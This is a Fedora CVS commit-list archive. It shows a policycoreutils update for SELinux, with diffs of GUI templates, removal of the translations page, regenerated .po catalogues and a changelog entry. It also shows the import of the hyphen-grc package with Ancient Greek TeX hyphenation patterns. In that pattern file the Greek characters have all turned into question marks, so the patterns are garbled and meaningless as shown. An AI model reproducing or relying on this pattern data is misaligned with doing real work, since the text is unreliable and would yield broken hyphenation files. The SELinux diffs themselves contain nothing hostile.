 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13562,7 +13192,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13684,7 +13314,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13815,131 +13445,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_spool_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.74/gui/translationsPage.py
---- nsapolicycoreutils/gui/translationsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/translationsPage.py	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,118 @@
-+## translationsPage.py - show selinux translations
-+## Copyright (C) 2006 Red Hat, Inc.
-+
-+## This program is free software; you can redistribute it and/or modify
-+## it under the terms of the GNU General Public License as published by
-+## the Free Software Foundation; either version 2 of the License, or
-+## (at your option) any later version.
-+
-+## This program is distributed in the hope that it will be useful,
-+## but WITHOUT ANY WARRANTY; without even the implied warranty of
-+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+## GNU General Public License for more details.
-+
-+## You should have received a copy of the GNU General Public License
-+## along with this program; if not, write to the Free Software
-+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
-+
-+## Author: Dan Walsh
-+import string
-+import gtk
-+import gtk.glade
-+import os
-+import gobject
-+import sys
-+import seobject
-+from semanagePage import *;
-+
-+##
-+## I18N
-+## 
-+PROGNAME="policycoreutils"
-+import gettext
-+gettext.bindtextdomain(PROGNAME, "/usr/share/locale")
-+gettext.textdomain(PROGNAME)
-+try:
-+    gettext.install(PROGNAME, localedir="/usr/share/locale", unicode=1)
-+except IOError:
-+    import __builtin__
-+    __builtin__.__dict__['_'] = unicode
-+
-+class translationsPage(semanagePage):
-+    def __init__(self, xml):
-+        semanagePage.__init__(self, xml, "translations", _("Translation"))
-+        self.firstTime = False
-+
-+        self.translation_filter = xml.get_widget("translationsFilterEntry")
-+        self.translation_filter.connect("focus_out_event", self.filter_changed)
-+        self.translation_filter.connect("activate", self.filter_changed)
-+
-+        self.store = gtk.ListStore(gobject.TYPE_STRING, gobject.TYPE_STRING)
-+        self.view.set_model(self.store)
-+        self.store.set_sort_column_id(0, gtk.SORT_ASCENDING)        
-+        col = gtk.TreeViewColumn(_("Sensitvity Level"), gtk.CellRendererText(), text = 0)
-+        col.set_sort_column_id(0)
-+	col.set_sizing(gtk.TREE_VIEW_COLUMN_FIXED)
-+        col.set_resizable(True)
-+        col.set_fixed_width(250)
-+        self.view.append_column(col)
-+        col = gtk.TreeViewColumn(_("Translation"), gtk.CellRendererText(), text = 1)
-+        col.set_sort_column_id(1)
-+        col.set_resizable(True)
-+        self.view.append_column(col)
-+
-+        self.load()
-+        self.translationsLevelEntry = xml.get_widget("translationsLevelEntry")
-+        self.translationsEntry = xml.get_widget("translationsEntry")
-+        
-+    def load(self, filter = ""):
-+        self.filter = filter
-+        self.translation = seobject.setransRecords()
-+        dict = self.translation.get_all()
-+        keys = dict.keys()
-+        keys.sort()
-+        self.store.clear()
-+        for k in keys:
-+            if not (self.match(k, filter) or self.match(dict[k], filter)):
-+                continue
-+            iter = self.store.append()
-+            self.store.set_value(iter, 0, k)
-+            self.store.set_value(iter, 1, dict[k])
-+        self.view.get_selection().select_path ((0,))
-+
-+    def dialogInit(self):
-+        store, iter = self.view.get_selection().get_selected()
-+        self.translationsLevelEntry.set_text(store.get_value(iter, 0))
-+        self.translationsLevelEntry.set_sensitive(False)
-+        self.translationsEntry.set_text(store.get_value(iter, 1))
-+        
-+    def dialogClear(self):
-+        self.translationsLevelEntry.set_text("")
-+        self.translationsLevelEntry.set_sensitive(True)
-+        self.translationsEntry.set_text("")
-+        
-+    def delete(self):
-+        store, iter = self.view.get_selection().get_selected()
-+        try:
-+            level = store.get_value(iter, 0)
-+            self.translation.delete(level)
-+            store.remove(iter)
-+            self.view.get_selection().select_path ((0,))
-+        except ValueError, e:
-+            self.error(e.args[0])
-+
-+    def add(self):
-+        level = self.translationsLevelEntry.get_text().strip()
-+        translation = self.translationsEntry.get_text().strip()
-+        self.translation.add(level, translation)
-+        iter = self.store.append()
-+        self.store.set_value(iter, 0, level)
-+        self.store.set_value(iter, 1, translation)
-+        
-+    def modify(self):
-+        level = self.translationsLevelEntry.get_text().strip()
-+        translation = self.translationsEntry.get_text().strip()
-+        self.translation.modify(level, translation)
-+        store, iter = self.view.get_selection().get_selected()
-+        self.store.set_value(iter, 0, level)
-+        self.store.set_value(iter, 1, translation)
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.74/gui/usersPage.py
 --- nsapolicycoreutils/gui/usersPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/usersPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/usersPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,150 @@
 +## usersPage.py - show selinux mappings
 +## Copyright (C) 2006,2007,2008 Red Hat, Inc.

policycoreutils-po.patch:
 Makefile            |   27 
 POTFILES            |   28 
 POTFILES.in         |    2 
 af.po               | 2499 +++++++++++++++++++++++++---
 am.po               | 2499 +++++++++++++++++++++++++---
 ar.po               | 2499 +++++++++++++++++++++++++---
 as.po               | 3775 +++++++++++++++++++++++++-----------------
 be.po               | 2499 +++++++++++++++++++++++++---
 bg.po               | 3670 ++++++++++++++++++++++++-----------------
 bn.po               | 2499 +++++++++++++++++++++++++---
 bn_IN.po            | 4080 ++++++++++++++++++++++++++-------------------
 bs.po               | 2591 ++++++++++++++++++++++++++---
 ca.po               | 3027 +++++++++++++++++++++++++++++-----
 cs.po               | 2926 +++++++++++++++++++++++++++-----
 cy.po               | 2499 +++++++++++++++++++++++++---
 da.po               | 3206 ++++++++++++++++++++++++++++++------
 de.po               | 3983 +++++++++++++++++++++++++-------------------
 el.po               | 2609 ++++++++++++++++++++++++++---
 en_GB.po            | 2590 ++++++++++++++++++++++++++---
 es.po               | 4095 ++++++++++++++++++++++++++--------------------
 et.po               | 2497 +++++++++++++++++++++++++---
 eu_ES.po            | 2499 +++++++++++++++++++++++++---
 fa.po               | 2499 +++++++++++++++++++++++++---
 fi.po               | 3254 +++++++++++++++++++++++++++++++-----
 fr.po               | 3923 ++++++++++++++++++++++++++------------------
 gl.po               | 2497 +++++++++++++++++++++++++---
 gu.po               | 4160 ++++++++++++++++++++++++++--------------------
 he.po               | 2499 +++++++++++++++++++++++++---
 hi.po               | 4175 ++++++++++++++++++++++++++--------------------
 hr.po               | 3105 +++++++++++++++++++++++-----------
 hu.po               | 3052 +++++++++++++++++++++++++++++-----
 hy.po               | 2499 +++++++++++++++++++++++++---
 id.po               | 2497 +++++++++++++++++++++++++---
 is.po               | 2499 +++++++++++++++++++++++++---
 it.po               | 4196 ++++++++++++++++++++++++++---------------------
 ja.po               | 4183 ++++++++++++++++++++++++++---------------------
 ka.po               | 2499 +++++++++++++++++++++++++---
 kn.po               | 4621 ++++++++++++++++++++++++++++++++--------------------
 ko.po               | 2991 +++++++++++++++++++++++++++------
 ku.po               | 2499 +++++++++++++++++++++++++---
 lo.po               | 2499 +++++++++++++++++++++++++---
 lt.po               | 2499 +++++++++++++++++++++++++---
 lv.po               | 2499 +++++++++++++++++++++++++---
 mai.po              | 3527 +++++++++++++++++++++++++++++++++++++++
 mk.po               | 2593 ++++++++++++++++++++++++++---
 ml.po               | 4276 +++++++++++++++++++++++++++---------------------
 mr.po               | 4219 +++++++++++++++++++++++++++--------------------
 ms.po               | 2574 +++++++++++++++++++++++++---
 my.po               | 2499 +++++++++++++++++++++++++---
 nb.po               | 2539 +++++++++++++++++++++++++---
 nl.po               | 3028 +++++++++++++++++++++++++++-------
 nn.po               | 2499 +++++++++++++++++++++++++---
 no.po               | 1272 --------------
 nso.po              | 2499 +++++++++++++++++++++++++---
 or.po               | 4031 ++++++++++++++++++++++++++-------------------
 pa.po               | 4101 ++++++++++++++++++++++++++--------------------
 pl.po               | 4116 ++++++++++++++++++++++++++--------------------
 policycoreutils.pot | 2499 +++++++++++++++++++++++++---
 pt.po               | 4467 ++++++++++++++++++++++++++++----------------------
 pt_BR.po            | 4543 +++++++++++++++++++++++++++++----------------------
 ro.po               | 2499 +++++++++++++++++++++++++---
 ru.po               | 3508 ++++++++++++++++++++++++++-------------
 si.po               | 2499 +++++++++++++++++++++++++---
 sk.po               | 2592 ++++++++++++++++++++++++++---
 sl.po               | 2499 +++++++++++++++++++++++++---
 sq.po               | 2499 +++++++++++++++++++++++++---
 sr.po               | 4211 ++++++++++++++++++++++++++---------------------
 sr at latin.po         | 4221 +++++++++++++++++++++++++++--------------------
 sv.po               | 3267 +++++++++++++++++++++++++-----------
 ta.po               | 3588 ++++++++++++++++++++++++++--------------
 te.po               | 4060 ++++++++++++++++++++++++++-------------------
 th.po               | 2499 +++++++++++++++++++++++++---
 tr.po               | 2499 +++++++++++++++++++++++++---
 uk.po               | 2592 ++++++++++++++++++++++++++---
 ur.po               | 2499 +++++++++++++++++++++++++---
 vi.po               | 2499 +++++++++++++++++++++++++---
 zh_CN.po            | 3954 +++++++++++++++++++++++++-------------------
 zh_TW.po            | 4234 ++++++++++++++++++++++++++---------------------
 zu.po               | 2499 +++++++++++++++++++++++++---
 79 files changed, 177578 insertions(+), 58166 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.57 -r 1.58 policycoreutils-po.patchIndex: policycoreutils-po.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-po.patch,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- policycoreutils-po.patch	30 Sep 2009 15:37:12 -0000	1.57
+++ policycoreutils-po.patch	15 Oct 2009 21:46:15 -0000	1.58
@@ -1,71 +1,132 @@
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/af.po policycoreutils-2.0.74/po/af.po
 --- nsapolicycoreutils/po/af.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.74/po/af.po	2009-09-30 11:35:04.000000000 -0400
++++ policycoreutils-2.0.74/po/af.po	2009-10-15 10:54:34.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
  "Report-Msgid-Bugs-To: \n"
 -"POT-Creation-Date: 2009-06-24 10:53-0400\n"
-+"POT-Creation-Date: 2009-01-21 17:13-0500\n"
++"POT-Creation-Date: 2009-10-15 10:54-0400\n"
  "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
  "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
  "Language-Team: LANGUAGE <LL at li.org>\n"
-@@ -118,7 +118,9 @@
- msgid "Level"
+@@ -77,11 +77,11 @@
+ msgid "Could not set exec context to %s.\n"
+ msgstr ""
+ 
+-#: ../audit2allow/audit2allow:217
++#: ../audit2allow/audit2allow:225
+ msgid "******************** IMPORTANT ***********************\n"
+ msgstr ""
+ 
+-#: ../audit2allow/audit2allow:218
++#: ../audit2allow/audit2allow:226
+ msgid "To make this policy package active, execute:"
+ msgstr ""
+ 
+@@ -109,797 +109,818 @@
+ msgid "global"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:206
+-#, python-format
+-msgid "Unable to open %s: translations not supported on non-MLS machines: %s"
++#: ../semanage/seobject.py:209
++msgid "Not yet implemented"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:239
+-msgid "Level"
++#: ../semanage/seobject.py:213
++msgid "Semanage transaction already in progress"
  msgstr ""
  
 -#: ../semanage/seobject.py:239
-+#: ../semanage/seobject.py:239 ../gui/system-config-selinux.glade:651
-+#: ../gui/system-config-selinux.glade:2683 ../gui/translationsPage.py:43
-+#: ../gui/translationsPage.py:59
- msgid "Translation"
+-msgid "Translation"
++#: ../semanage/seobject.py:222
++msgid "Could not start semanage transaction"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:247 ../semanage/seobject.py:261
+-#, python-format
+-msgid "Translations can not contain spaces '%s' "
++#: ../semanage/seobject.py:228
++msgid "Could not commit semanage transaction"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:250
+-#, python-format
+-msgid "Invalid Level '%s' "
++#: ../semanage/seobject.py:232
++msgid "Semanage transaction not in progress"
  msgstr ""
  
-@@ -142,764 +144,763 @@
- msgid "%s not defined in translations"
+-#: ../semanage/seobject.py:253
+-#, python-format
+-msgid "%s already defined in translations"
++#: ../semanage/seobject.py:244 ../semanage/seobject.py:326
++msgid "Could not list SELinux modules"
+ msgstr ""
+ 
+-#: ../semanage/seobject.py:265
+-#, python-format
+-msgid "%s not defined in translations"
++#: ../semanage/seobject.py:253
++msgid "Modules Name"
  msgstr ""
  
 -#: ../semanage/seobject.py:290
-+#: ../semanage/seobject.py:291
- msgid "Not yet implemented"
+-msgid "Not yet implemented"
++#: ../semanage/seobject.py:253 ../gui/modulesPage.py:62
++msgid "Version"
  msgstr ""
  
 -#: ../semanage/seobject.py:294
 -msgid "Semanage transaction already in progress"
--msgstr ""
--
++#: ../semanage/seobject.py:256 ../gui/statusPage.py:75
++msgid "Disabled"
+ msgstr ""
+ 
 -#: ../semanage/seobject.py:303
-+#: ../semanage/seobject.py:298
- msgid "Could not start semanage transaction"
+-msgid "Could not start semanage transaction"
++#: ../semanage/seobject.py:271
++#, python-format
++msgid "Could not disable module %s (remove failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:309
-+#: ../semanage/seobject.py:304
- msgid "Could not commit semanage transaction"
+-msgid "Could not commit semanage transaction"
++#: ../semanage/seobject.py:282
++#, python-format
++msgid "Could not enable module %s (remove failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:313
 -msgid "Semanage transaction not in progress"
--msgstr ""
--
++#: ../semanage/seobject.py:297
++#, python-format
++msgid "Could not remove module %s (remove failed)"
+ msgstr ""
+ 
 -#: ../semanage/seobject.py:325
-+#: ../semanage/seobject.py:314
- msgid "Could not list SELinux modules"
+-msgid "Could not list SELinux modules"
++#: ../semanage/seobject.py:313
++msgid "dontaudit requires either 'on' or 'off'"
  msgstr ""
  
 -#: ../semanage/seobject.py:336
-+#: ../semanage/seobject.py:325
++#: ../semanage/seobject.py:338
  msgid "Permissive Types"
  msgstr ""
  
 -#: ../semanage/seobject.py:378
-+#: ../semanage/seobject.py:355
++#: ../semanage/seobject.py:380
  #, python-format
  msgid "Could not set permissive domain %s (module installation failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:384
-+#: ../semanage/seobject.py:369
++#: ../semanage/seobject.py:386
  #, python-format
  msgid "Could not remove permissive domain %s (remove failed)"
  msgstr ""
@@ -76,458 +137,458 @@ diff --exclude-from=exclude -N -u -r nsa
 -#: ../semanage/seobject.py:933 ../semanage/seobject.py:1506
 -#: ../semanage/seobject.py:1570 ../semanage/seobject.py:1582
 -#: ../semanage/seobject.py:1663 ../semanage/seobject.py:1714
-+#: ../semanage/seobject.py:395 ../semanage/seobject.py:455
-+#: ../semanage/seobject.py:501 ../semanage/seobject.py:583
-+#: ../semanage/seobject.py:650 ../semanage/seobject.py:708
-+#: ../semanage/seobject.py:918 ../semanage/seobject.py:1491
-+#: ../semanage/seobject.py:1555 ../semanage/seobject.py:1567
-+#: ../semanage/seobject.py:1648 ../semanage/seobject.py:1699
++#: ../semanage/seobject.py:412 ../semanage/seobject.py:472
++#: ../semanage/seobject.py:518 ../semanage/seobject.py:600
++#: ../semanage/seobject.py:667 ../semanage/seobject.py:725
++#: ../semanage/seobject.py:935 ../semanage/seobject.py:1550
++#: ../semanage/seobject.py:1614 ../semanage/seobject.py:1633
++#: ../semanage/seobject.py:1720 ../semanage/seobject.py:1771
  #, python-format
  msgid "Could not create a key for %s"
  msgstr ""
  
 -#: ../semanage/seobject.py:414 ../semanage/seobject.py:474
 -#: ../semanage/seobject.py:520 ../semanage/seobject.py:526
-+#: ../semanage/seobject.py:399 ../semanage/seobject.py:459
-+#: ../semanage/seobject.py:505 ../semanage/seobject.py:511
++#: ../semanage/seobject.py:416 ../semanage/seobject.py:476
++#: ../semanage/seobject.py:522 ../semanage/seobject.py:528
  #, python-format
  msgid "Could not check if login mapping for %s is defined"
  msgstr ""
  
 -#: ../semanage/seobject.py:416
-+#: ../semanage/seobject.py:401
++#: ../semanage/seobject.py:418
  #, python-format
[...310280 lines suppressed...]
-+#: ../gui/system-config-selinux.glade:1807
++#: ../gui/system-config-selinux.glade:1616
 +msgid "Toggle between Customized and All Booleans"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1825
++#: ../gui/system-config-selinux.glade:1634
 +msgid "Run booleans lockdown wizard"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1826
++#: ../gui/system-config-selinux.glade:1635
 +msgid "Lockdown..."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1856
-+#: ../gui/system-config-selinux.glade:2061
-+#: ../gui/system-config-selinux.glade:2248
-+#: ../gui/system-config-selinux.glade:2435
-+#: ../gui/system-config-selinux.glade:2622
-+#: ../gui/system-config-selinux.glade:2865
-+#: ../gui/system-config-selinux.glade:3090
-+#: ../gui/system-config-selinux.glade:3265
++#: ../gui/system-config-selinux.glade:1665
++#: ../gui/system-config-selinux.glade:1870
++#: ../gui/system-config-selinux.glade:2057
++#: ../gui/system-config-selinux.glade:2244
++#: ../gui/system-config-selinux.glade:2487
++#: ../gui/system-config-selinux.glade:2712
++#: ../gui/system-config-selinux.glade:2887
 +msgid "Filter"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1945
++#: ../gui/system-config-selinux.glade:1754
 +msgid "label50"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1982
++#: ../gui/system-config-selinux.glade:1791
 +msgid "Add File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1998
++#: ../gui/system-config-selinux.glade:1807
 +msgid "Modify File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2014
++#: ../gui/system-config-selinux.glade:1823
 +msgid "Delete File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2030
++#: ../gui/system-config-selinux.glade:1839
 +msgid "Toggle between all and customized file context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2150
++#: ../gui/system-config-selinux.glade:1959
 +msgid "label38"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2187
++#: ../gui/system-config-selinux.glade:1996
 +msgid "Add SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2203
++#: ../gui/system-config-selinux.glade:2012
 +msgid "Modify SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2219
++#: ../gui/system-config-selinux.glade:2028
 +msgid "Delete SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2337
++#: ../gui/system-config-selinux.glade:2146
 +msgid "label39"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2374
++#: ../gui/system-config-selinux.glade:2183
 +msgid "Add User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2390
++#: ../gui/system-config-selinux.glade:2199
 +msgid "Modify User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2406
++#: ../gui/system-config-selinux.glade:2215
 +msgid "Delete User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2524
++#: ../gui/system-config-selinux.glade:2333
 +msgid "label41"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2561
-+msgid "Add Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2577
-+msgid "Modify Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2593
-+msgid "Delete Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2711
-+msgid "label40"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2748
++#: ../gui/system-config-selinux.glade:2370
 +msgid "Add Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2764
++#: ../gui/system-config-selinux.glade:2386
 +msgid "Edit Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2780
++#: ../gui/system-config-selinux.glade:2402
 +msgid "Delete Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2816
-+#: ../gui/system-config-selinux.glade:2834
++#: ../gui/system-config-selinux.glade:2438
++#: ../gui/system-config-selinux.glade:2456
 +msgid "Toggle between Customized and All Ports"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2954
++#: ../gui/system-config-selinux.glade:2576
 +msgid "label42"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2991
++#: ../gui/system-config-selinux.glade:2613
 +msgid "Generate new policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3007
++#: ../gui/system-config-selinux.glade:2629
 +msgid "Load policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3023
++#: ../gui/system-config-selinux.glade:2645
 +msgid "Remove loadable policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3059
++#: ../gui/system-config-selinux.glade:2681
 +msgid ""
 +"Enable/Disable additional audit rules, that are normally not reported in the "
 +"log files."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3179
++#: ../gui/system-config-selinux.glade:2801
 +msgid "label44"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3216
++#: ../gui/system-config-selinux.glade:2838
 +msgid "Change process mode to permissive."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3234
++#: ../gui/system-config-selinux.glade:2856
 +msgid "Change process mode to enforcing"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3326
++#: ../gui/system-config-selinux.glade:2948
 +msgid "Process Domain"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3354
++#: ../gui/system-config-selinux.glade:2976
 +msgid "label59"
 +msgstr ""
 +
-+#: ../gui/translationsPage.py:53
-+msgid "Sensitvity Level"
-+msgstr ""
-+
 +#: ../gui/usersPage.py:138
 +#, python-format
 +msgid "SELinux user '%s' is required"


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.651
retrieving revision 1.652
diff -u -p -r1.651 -r1.652
--- policycoreutils.spec	14 Oct 2009 14:47:51 -0000	1.651
+++ policycoreutils.spec	15 Oct 2009 21:46:26 -0000	1.652
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
+- Remove translations screen from system-config-selinux
+
 * Wed Oct 14 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-9
 - Move fixfiles man pages into the correct package
 - Add genhomedircon to fixfiles restore



From caolanm at fedoraproject.org  Thu Oct 15 21:50:56 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 21:50:56 +0000 (UTC)
Subject: rpms/hyphen-grc/devel hyph-grc.tex, NONE,
	1.1 hyphen-grc-cleantex.patch, NONE, 1.1 hyphen-grc.spec, NONE,
	1.1 import.log, NONE, 1.1
Message-ID: <20091015215056.9730811C029F@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hyphen-grc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28754/devel

Added Files:
	hyph-grc.tex hyphen-grc-cleantex.patch hyphen-grc.spec 
	import.log 
Log Message:



--- NEW FILE hyph-grc.tex ---
% ****************************************************************
%
% File name: grahyph5-unicode.tex
%
% This file was first created by mechanical translation from 
% GRAhyph5.tex via "elhyph-utf8 -a -c" (version 0.1 by Peter 
% Heslin -- p.j.heslin at durham.ac.uk). Some additions were 
% also made by hand.
%
% Created:       June 6, 2008
%
% Hyphenation patterns for Ancient Greek.
%
% Created by Dimitrios Filippou with some ideas borrowed from 
% Yannis Haralambous, Kostis Dryllerakis and Claudio Beccari.
% 
% These hyphenation patterns are explained in "ancient.pdf".
% Hyphenation examples are given in the file "anc-test.pdf".
% Some doubtful patterns are marked by three question marks "???". 
% 
% Documentation in English can be found in: D. Filippou, 
% "Hyphenation patterns for Ancient and Modern Greek," in 
% "TeX, XML, and Digital Typography" (A. Syropoulos et al.,
% eds.), Lecture Notes in Computer Science 3130, Springer-Verlag
% Berlin-Heidelberg, 2004. ISBN 3-540-22801-2.
% 
% Thanks to Thomas Schmitz (thomas.schmitz at uni-bonn.de) 
% for pointing out a few mistakes. (Marked by %%%TS%%%)
%
% ****************************************************************
%
% \message{UTF-8 hyphenation patterns for Ancient Greek}
%
\patterns{%
%%%% vowels
%-- Vowel patterns (pre-combined)
?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 
%%%% diphthogs and exceptions
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?2? 
?2? ?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?2? 
?3? ?3? 
?3? 
?3? 
?3? 
??3? 
??4? ??4? 
??4? 
??4? 
?3?? ?3?? 
?3?? 
%%%% consonants at the end of words
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 
4?. 4?. 
4?. 
4?. 
4?. 
4?. 
4?.
%%%% consonants with right apostrophe 
4' 4? 4? 
4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
